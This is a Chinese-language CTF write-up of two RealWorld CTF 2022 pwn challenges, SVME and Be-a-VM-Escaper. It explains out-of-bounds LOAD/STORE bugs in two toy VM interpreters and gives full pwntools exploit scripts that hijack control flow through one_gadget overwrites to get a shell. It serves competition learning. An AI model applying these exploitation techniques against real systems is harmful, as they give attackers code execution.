RealWorld CTF 2022

wp

Posted by X1ng on January 24, 2022

跟北邮的师傅们一起打RW,大佬们是真滴猛or2

VM因为神奇的原因打不通远程,体验赛0输出混了个第二

正式赛

SVME

Score: 67

Clone-and-Pwn, Virtual Machine, difficulty:baby

Professor Terence Parr has taught us how to build a virtual machine. Now it’s time to break it!

nc 47.243.140.252 1337

attachment

下载附件有libc、二进制文件和Dockerfile

从Dockerfile中可以找到项目地址,用C实现的VM程序,获取用户输入并解析执行

一开始在vm_print_instr函数中找到一个越界读取,但是发现触发越界读取后由于无法识别指令会直接退出,无法利用

继续分析发现在获取LOAD、STORE指令获取locals变量时没有对offset进行任何检查,可以直接溢出

VM *vm结构体保存在堆上,其中Context结构体中有每个模拟栈帧的locals数组

typedef struct {
    int *code;
    int code_size;

    // global variable space
    int *globals;
    int nglobals;

    // Operand stack, grows upwards
    int stack[DEFAULT_STACK_SIZE];
    Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;

则通过LOAD数组上溢可以读取到栈地址code,计算好偏移后再通过STORE数组上溢将globals指针修改为栈上的地址,此时再通过GLOAD读取时,globals已经是栈上的地址了,可以直接再栈上读取__libc_start_main函数的地址,计算one_gadget的地址后GSTORE覆盖返回地址

由于最后要将globals释放,在结束的时候还需要恢复一下globals的指针

exp:

from pwn import *
import time
#context(log_level='debug',arch='amd64')


local=1
binary_name='svme'

libc=ELF("libc.so.6")
e=ELF("./"+binary_name)
def exp():
	if local:
		p=process("./"+binary_name)
	else:
		p=remote('47.243.140.252', 1337)
		

	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()


	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	one=[0xe6c7e,0xe6c81,0xe6c84]
	
	pd=p32(16)+p32(6)+p32(0)+p32(0)
	pd+=p32(14)
	pd+=p32(18)
	
	
	pd+=p32(10)+p32(0xFFFFFC14)
	pd+=p32(10)+p32(0xFFFFFC15)
	pd+=p32(10)+p32(0xFFFFFC11)
	pd+=p32(10)+p32(0xFFFFFC10)
	offset=0x218
	pd+=p32(9)+p32(offset)
	pd+=p32(1)
	pd+=p32(12)+p32(0xFFFFFC14)
	pd+=p32(12)+p32(0xFFFFFC15)
	pd+=p32(11)+p32(0)
	offset=	one[2]-	0x026fc0-243
	pd+=p32(9)+p32(offset)
	pd+=p32(1)
	pd+=p32(13)+p32(0)
	
	pd+=p32(12)+p32(0xFFFFFC15)
	pd+=p32(12)+p32(0xFFFFFC14)
	pd+=p32(17)
	
	
	sl(pd.ljust(0x200,b'\x00'))
	ia()


exp()

体验赛

Be-a-VM-Escaper

Score: 401

Pwn

VM Escape is too hard? It’s not always the case.

Try this small, likely turing-incomplete stack-based language interpreter.

nc 101.132.235.138 1337

attachment

直接给出了项目地址,建立在栈基础上的VM

这题在LOAD和STORE到reg时,对arg1的处理多了一个check

#define CHECK_REG(x) \
	if (x > REGNO) { \
		fprintf(stderr, "INVALID REGISTER: ABORT\n"); \
		exit(1); \
	}

没有考虑arg1为负数的情况,可以向上溢出

数据结构都在栈上,栈上有很多地址,可以LOAD到libc地址、栈地址,但是栈由高地址向低地址生长,向上溢出无法覆盖任何返回地址完成利用

并且程序没有调用malloc、free之类的函数,无法覆盖hook完成利用

可以通过LOAD将libc地址、栈地址放到模拟的栈上,计算

  1. libc里_rtld_global结构体中的rtld_lock_default_lock_recursive指针与reg的偏移
  2. one_gadget的地址

但是想要把one_gadget写入rtld_lock_default_lock_recursive有一个问题是STORE的时候arg1是用户输入的,而计算出来的偏移存在模拟的栈上

需要了解一下这个程序的数据结构,VM是通过cinstr指针来模拟IP指针作为程序计数器,

for (struct instruction_s *cinstr = pinstrs; cinstr < pinstrs+plen; cinstr++) {
		long long t = 0;
		long long t2 = 0;
		switch (cinstr->instr) {
		case NOP:
			break;
		... ...
		case DONE:
			exit(0);
			break;
		}
	}

instruction_s结构体如下

struct instruction_s {
	enum impl_instr instr;
	long long arg1;
	long long arg2;
};

而观察栈的情况,会发现cinstr指针在reg的低地址,可以通过溢出覆写

所以可以在栈上先构造

4        instr(STORE)
offset   arg1
0        arg2
26       instr(STORE)
0        arg1
0        arg2

再用LOAD覆写cinstr指针,使其指向构造好的STORE指令处,执行STORE指令覆写rtld_lock_default_lock_recursive,再执行DONE指令调用exit完成利用

(另外还可以利用滑雪橇的思想,在前面填充0(NOP),cinstr指针不用很精确)

exp:

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=1
binary_name='lvm'

libc=ELF("libc.so.6")
e=ELF("./"+binary_name)
def exp():
	if local:
		p=process("./"+binary_name)
	else:
		p=remote('101.132.235.138', 1337)

	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()


	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))


	one=[0xe6c7e,0xe6c81,0xe6c84,0xe6e73,0xe6e76]

	sl(str(28))
	time.sleep(1)
	
	pd=''
	sd('5\n')
	time.sleep(1)
	sd('-'+str(0x118//8)+'\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd(str(0x662e2)+'\n')
	time.sleep(1)
	
	sd('7\n')
	time.sleep(1)
	
	sd('22\n')
	time.sleep(1)
	
	sd('4\n')
	time.sleep(1)
	sd('1\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd(str(0x222f68)+'\n')
	time.sleep(1)
	
	sd('6\n')
	time.sleep(1)
	
	sd('22\n')
	time.sleep(1)
	
	
	sd('5\n')
	time.sleep(1)
	sd('-3\n')
	time.sleep(1)

	sd('1\n')
	time.sleep(1)
	sd(str(0x13900+0x60+0x60)+'\n')
	time.sleep(1)
	
	sd('7\n')
	time.sleep(1)
	
	sd('4\n')
	time.sleep(1)
	sd('0\n')
	time.sleep(1)
	
	sd('22\n')
	time.sleep(1)
	
	sd('7\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd(str(8)+'\n')
	time.sleep(1)
	
	sd('9\n')
	time.sleep(1)
	
	sd('4\n')
	time.sleep(1)
	sd(str(2)+'\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd(str(4)+'\n')
	time.sleep(1)
	
	sd('5\n')
	time.sleep(1)
	sd(str(2)+'\n')
	time.sleep(1)
	
	sd('22\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd('0\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd('26\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd('0\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd('0\n')
	time.sleep(1)
	
	sd('5\n')
	time.sleep(1)
	sd('1\n')
	time.sleep(1)
	
	sd('1\n')
	time.sleep(1)
	sd(str(one[0])+'\n')
	time.sleep(1)
	
	sd('6\n')
	time.sleep(1)

	sd('17\n')
    
	time.sleep(1)
	sd('-'+str(0xd07)+'\n')
	time.sleep(1)

	ia()

exp()

然而在比赛的时候本地、本地拉取最新的ubuntu 20.04 docker以及学长的本地都可以打通,远程还是段错误

赛后复现的时候发现本地 _rtld_global结构体的偏移需要改一下才能打通,或许远程打不通是因为 _rtld_global结构体的偏移?